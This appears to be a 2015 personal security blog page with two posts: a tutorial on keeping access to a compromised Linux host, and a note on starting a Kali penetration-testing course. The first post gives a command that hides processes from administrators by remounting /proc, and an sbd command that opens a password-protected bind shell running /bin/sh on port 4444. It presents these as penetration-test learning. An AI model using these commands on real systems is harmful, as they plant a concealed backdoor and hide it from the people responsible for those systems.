Saturday, July 11, 2015

Maintaining Access With sbd

sbd is a program similar to netcat that allows one to read and write to TCP sockets.  sbd is fully portable and is available Windows and Unix/Linux operating systems.

In this post I will show how after one gains privileged access to a system they can maintain access using sbd. I will also illustrate some of the pitfalls of using tools like sbd.

After compromising an account that has sudo rights remount the proc file system as follows :

sudo mount -o remount,rw,hidepid=2 /proc
 
This command will remount the proc file system and preclude users from accessing /proc and /proc/PID.  This will hide all processes from users except ones they own.  A unobservant administrator may not notice this at first when logging in under their own account. 

Note that this option is only available under Linux kernels 3.2+.  Also, root will still be able to see all processes.

Next run sbd.  An example of possible options are:

sbd - l-c on -k password -vv -n -e /bin/sh -p 4444

-c on : encryption on
-k password : enable password authentication where password is the password
-vv : verbose
-n : disable name resolution
-e : execute program on connection
-p port : listen on port
-l : listen for connections

As the following examples show, the process is hidden from the non-privileged user, but the ss command still shows the host is listening on port 4444.












From the other host you can initiate the connection as follows :



This method of maintaining access is simple but not very robust as sbd can still be discovered via the netstat and ss commands.  Also, note that a bind shell was used in this example, so the port used must be opened on any firewalls.  A reverse shell would be better suited for this case.


Tuesday, July 7, 2015

Beginning Penetration Testing With Kali Linux

Over the past weekend I began Offensive Security's Penetration Testing With Kali Linux course.

Anyone who follows the security field, specifically Penetration Testing, is familiar with Kali Linux and it's forefather BackTrack Linux.

For those who are unfamiliar with Kali and BackTrack.  They are Linux distributions that focus on providing the tools needed for various types of Penetration Testing.  You can find out more about them here and here.

The course is delivered via videos accompanied with a lab manual and live labs with real systems for one to practice on.  The course ends with a penetration test on a fictitious company.  The final exam consists of a Penetration Test in Offensive Security's lab environment where the student is required to break into as many systems as possible and submit a report at the end detail the Penetration Test.

As of now, I've completed the first few modules and even though they are introducing elementary topics I have learned many things that will not only aid in Penetration Testing, but in IT in general.

I will document my progress through the course here.